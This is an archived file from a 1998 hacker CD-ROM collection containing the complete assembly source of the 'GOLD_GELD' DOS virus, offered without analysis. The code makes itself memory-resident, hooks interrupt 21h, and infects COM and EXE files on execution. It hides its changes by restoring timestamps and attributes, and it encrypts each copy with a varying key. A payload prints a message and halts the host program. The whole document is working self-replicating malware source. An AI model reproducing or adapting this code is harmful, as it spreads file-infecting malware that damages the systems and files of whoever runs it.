home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / goldgeld.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  11.0 KB  |  348 lines

  1.  
  2.     GOLD_GELD VIRUS
  3.  
  4.  
  5. model tiny                             ; Handy directive
  6. code                                   ; Virus code segment
  7.           org    0                      ; For easy calculation of 
  8. offsets
  9. id = 'SS'                               ; ID word for EXE infections
  10.  
  11. startvirus:
  12. decrypt:  loop decrypt                  ; handles encryption and 
  13. decryption
  14.           mov  bx,(offset heap - offset startencrypt)/2 ; iterations
  15. patch_startencrypt:
  16.           mov  bp,offset startencrypt   ; start of decryption
  17. decrypt_loop:
  18.           db   2eh,81h,46h,0            ; add word ptr cs:[bp], xxxx
  19. decrypt_value dw  0                     ; initialised at zero for null 
  20. effect
  21.           inc  bp                       ; calculate new decryption 
  22. location
  23.           inc  bp
  24.           dec  bx                       ; If we are not done, then
  25.           jnz  decrypt_loop             ; decrypt mo'
  26. startencrypt:
  27.           call next                     ; calculate delta offset
  28. next:     pop  bp                       ; bp = IP next
  29.           sub  bp,offset next           ; bp = delta offset
  30.  
  31.           push ds
  32.           push es
  33.  
  34.           mov  ax,'VC'                  ; Installation check
  35.           int  21h
  36.           cmp  ax,'PS'                  ; Already installed?
  37.           jz  done_install
  38.  
  39.           mov  ax, es                   ; Get PSP
  40.           dec  ax
  41.           mov  ds, ax                   ; Get MCB
  42.  
  43.           sub  word ptr ds:[3],((endheap-startvirus+1023)/1024)*64
  44.           sub  word ptr ds:[12h],((endheap-startvirus+1023)/1024)*64
  45.           mov  es,word ptr ds:[12h]
  46.  
  47.           push cs
  48.           pop  ds
  49.           xor  di,di                    ; Destination
  50.           mov  cx,(heap-startvirus)/2+1 ; Bytes to zopy
  51.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  52.           rep  movsw
  53.  
  54.           mov  di,offset encrypt
  55.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  56.           mov  cx,startencrypt-decrypt
  57.           rep  movsb
  58.           mov  al,0c3h                  ; retn
  59.           stosb
  60.  
  61.           xor  ax,ax
  62.           mov  ds,ax
  63.           sub  word ptr ds:[413h],(endheap-startvirus+1023)/1024
  64.           push ds
  65.           lds  ax,ds:[21h*4]            ; Get old int handler
  66.           mov  word ptr es:oldint21, ax
  67.           mov  word ptr es:oldint21+2, ds
  68.           pop  ds
  69.           mov  word ptr ds:[21h*4], offset int21 ; Replace with new 
  70. handler
  71.           mov  ds:[21h*4+2], es         ; in high memory
  72. done_install:
  73.           mov  ah,2ah                   ; Get current date
  74.           int  21h
  75.           cmp  dh,1                     ; Check month
  76.           jb   exit_virus
  77.           cmp  dl,1                     ; Check date
  78.           jb   exit_virus
  79.  
  80.           mov  ah,2ch                   ; Get current time
  81.           int  21h
  82.           cmp  dl,80                    ; Check the percentage
  83.           jae  activate
  84.  
  85. exit_virus:
  86.           pop  es
  87.           pop  ds
  88.           cmp  sp,id                    ; EXE or COM?
  89.           jz   returnEXE
  90. returnCOM:
  91.           lea  si,[bp+offset save3]
  92.           mov  di,100h
  93.           push di                       ; For later return
  94.           movsw
  95.           movsb
  96.           retn                          ; 100h is on stack
  97. returnEXE:
  98.           mov  ax,es                    ; AX = PSP segment
  99.           add  ax,10h                   ; Adjust for PSP
  100.           add  word ptr cs:[bp+oldCSIP+2],ax
  101.           add  ax,word ptr cs:[bp+oldSSSP+2]
  102.           cli                           ; Clear intrpts for stack 
  103. manipulation
  104.           mov  sp,word ptr cs:[bp+oldSSSP]
  105.           mov  ss,ax
  106.           sti
  107.           db   0eah                     ; jmp ssss:oooo
  108. oldCSIP   db ?                          ; Original CS:IP (4 bytes)
  109. save3     db 0cdh,20h,0                 ; First 3 bytes of COM file
  110. oldSSSP   dd ?                          ; Original SS:SP
  111.  
  112. activate:                              ; Conditions satisfied
  113.         mov     ah,9                   ;DOS print string function #
  114.         lea     dx,DString             ;point DX to the offset of 
  115. DataString
  116.         int     21h
  117.         mov     ah,4ch                 ;DOS terminate program function #
  118.         int     21h                    ;invoke DOS to end program
  119. DString      DB  'Es ist nicht alles Gold, was glänzt!$'
  120.  
  121.           jmp  exit_virus
  122.  
  123. int21:                                  ; New interrupt handler
  124.           cmp  ax,'VC'                  ; Installation check?
  125.           jnz  notinstall
  126.           mov  ax,'PS'
  127.           iret
  128. notinstall:
  129.           pushf
  130.           push ax
  131.           push bx
  132.           push cx
  133.           push dx
  134.           push si
  135.           push di                       ; don't need to save bp
  136.           push ds
  137.           push es
  138.           cmp  ax,4b00h                 ; Infect on execute
  139.           jz   infectDSDX
  140. exithandler:
  141.           pop  es
  142.           pop  ds
  143.           pop  di
  144.           pop  si
  145.           pop  dx
  146.           pop  cx
  147.           pop  bx
  148.           pop  ax
  149.           popf
  150.           db 0eah                       ; JMP SSSS:OOOO
  151. oldint21  dd ?                          ; Go to orig handler
  152.  
  153. infectDSDX:
  154.           mov  ax,4300h
  155.           int  21h
  156.           push ds
  157.           push dx
  158.           push cx                       ; Save attributes
  159.           xor  cx,cx                    ; Clear attributes
  160.           call attributes               ; Set file attributes
  161.  
  162.           mov  ax,3d02h                 ; Open read/write
  163.           int  21h
  164.           xchg ax,bx
  165.  
  166.           mov  ax,5700h                 ; Get creation date/time
  167.           int  21h
  168.           push cx                       ; Save date and
  169.           push dx                       ; time
  170.  
  171.           push cs                       ; DS = CS
  172.           pop  ds
  173.           push cs                       ; ES = CS
  174.           pop  es
  175.           mov  ah,3fh                   ; Read file to buffer
  176.           mov  dx,offset buffer         ; @ DS:DX
  177.           mov  cx,1Ah                   ; 1Ah bytes
  178.           int  21h
  179.  
  180.           mov  ax,4202h                 ; Go to end of file
  181.           xor  cx,cx
  182.           cwd
  183.           int  21h
  184.  
  185.           mov  word ptr filesize,ax
  186.           mov  word ptr filesize+2,dx
  187.           cmp  word ptr buffer,'ZM'     ; EXE?
  188.           jz   checkEXE                 ; Why yes, yes it is!
  189. checkCOM:
  190.           mov  ax,word ptr filesize
  191.           mov  cx,word ptr buffer+1     ; get jmp location
  192.           add  cx,heap-startvirus+3     ; Adjust for virus size
  193.           cmp  ax,cx                    ; Already infected?
  194.           je   done_file
  195.           jmp  infect_com
  196. checkEXE:
  197.           cmp  word ptr buffer+10h,id   ; is it already infected?
  198.           jnz  infect_exe
  199. done_file:
  200.           mov  ax,5701h                 ; Restore creation date/time
  201.           pop  dx                       ; Restore date and
  202.           pop  cx                       ; time
  203.           int  21h
  204.  
  205.           mov  ah,3eh                   ; Close file
  206.           int  21h
  207.  
  208.           pop  cx
  209.           pop  dx
  210.           pop  ds                       ; Restore filename
  211.           call attributes               ; attributes
  212.  
  213.           jmp  exithandler
  214. infect_exe:
  215.           mov  cx, 1ah
  216.           push cx
  217.           push bx                       ; Save file handle
  218.           les  ax,dword ptr buffer+14h  ; Save old entry point
  219.           mov  word ptr oldCSIP, ax
  220.           mov  word ptr oldCSIP+2, es
  221.  
  222.           les  ax,dword ptr buffer+0Eh  ; Save old stack
  223.           mov  word ptr oldSSSP,es
  224.           mov  word ptr oldSSSP+2,ax
  225.  
  226.           mov  ax,word ptr buffer+8     ; Get header size
  227.           mov  cl, 4                    ; convert to bytes
  228.           shl  ax, cl
  229.           xchg ax, bx
  230.  
  231.           les  ax,dword ptr filesize    ; Get file size
  232.           mov  dx, es                   ; to DX:AX
  233.           push ax
  234.           push dx
  235.  
  236.           sub  ax, bx                   ; Subtract header size from
  237.           sbb  dx, 0                    ; file size
  238.  
  239.           mov  cx, 10h                  ; Convert to segment:offset
  240.           div  cx                       ; form
  241.  
  242.           mov  word ptr buffer+14h, dx  ; New entry point
  243.           mov  word ptr buffer+16h, ax
  244.  
  245.           mov  word ptr buffer+0Eh, ax  ; and stack
  246.           mov  word ptr buffer+10h, id
  247.  
  248.           pop  dx                       ; get file length
  249.           pop  ax
  250.           pop  bx                       ; Restore file handle
  251.  
  252.           add  ax, heap-startvirus      ; add virus size
  253.           adc  dx, 0
  254.  
  255.           mov  cl, 9
  256.           push ax
  257.           shr  ax, cl
  258.           ror  dx, cl
  259.           stc
  260.           adc  dx, ax
  261.           pop  ax
  262.           and  ah, 1                    ; mod 512
  263.  
  264.           mov  word ptr buffer+4, dx    ; new file size
  265.           mov  word ptr buffer+2, ax
  266.  
  267.           push cs                       ; restore ES
  268.           pop  es
  269.  
  270.           mov  ax,word ptr buffer+14h   ; needed later
  271.           jmp  short finishinfection
  272. infect_com:                             ; ax = filesize
  273.           mov  cx,3
  274.           push cx
  275.           sub  ax,cx
  276.           mov  si,offset buffer
  277.           mov  di,offset save3
  278.           movsw
  279.           movsb
  280.           mov  byte ptr [si-3],0e9h
  281.           mov  word ptr [si-2],ax
  282.           add  ax,103h
  283. finishinfection:
  284.           add  ax,offset startencrypt-offset decrypt
  285.           mov  word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
  286.  
  287.           mov  ah,2ch                   ; Get current time
  288.           int  21h                      ; dh=sec,dl=1/100 sec
  289.           mov  word ptr encrypt+(decrypt_value-startvirus),dx ; New 
  290. encrypt. value
  291.           xor  byte ptr encrypt+(decrypt_loop-startvirus)+2,028h ; flip 
  292. between add/sub
  293.  
  294.           xor  si,si                    ; copy virus to buffer
  295.           mov  di,offset zopystuff
  296.           mov  cx,heap-startvirus
  297.           rep  movsb
  298.  
  299.           mov  si,offset encrypt        ; copy encryption function
  300.           mov  di,offset zopystuff
  301.           mov  cx,startencrypt-decrypt
  302.           rep  movsb
  303.  
  304.           xor  byte ptr zopystuff+(decrypt_loop-startvirus)+2,028h ; 
  305. flip between add/sub
  306.  
  307.           mov  word ptr 
  308. [encrypt+(patch_startencrypt-startvirus)+1],offset 
  309. zopystuff+(startencrypt-decrypt)
  310.  
  311.           push bp
  312.           push bx
  313.           call encrypt
  314.           pop  bx
  315.           pop  bp
  316.  
  317.           mov  ah,40h                   ; Concatenate virus
  318.           mov  dx,offset zopystuff
  319.           mov  cx,heap-startvirus       ; # bytes to write
  320.           int  21h
  321.  
  322.           mov  ax,4200h                 ; Move file pointer
  323.           xor  cx,cx                    ; to beginning of file
  324.           cwd                           ; xor dx,dx
  325.           int  21h
  326.  
  327.           mov  ah,40h                   ; Write to file
  328.           mov  dx,offset buffer         ; Write from buffer
  329.           pop  cx                       ; cx bytes
  330.           int  21h
  331.  
  332.           jmp  done_file
  333.  
  334. attributes:
  335.           mov  ax,4301h                 ; Set attributes to cx
  336.           int  21h
  337.           ret
  338.  
  339. heap:                                   ; Variables not in code
  340. filesize  dd ?
  341. encrypt:  db startencrypt-decrypt+1 dup (?)
  342. zopystuff db heap-startvirus dup (?)    ; Encryption buffer
  343. buffer    db 1ah dup (?)                ; read buffer
  344. endheap:                                ; End of virus
  345. end       startvirus
  346.  
  347.  
  348.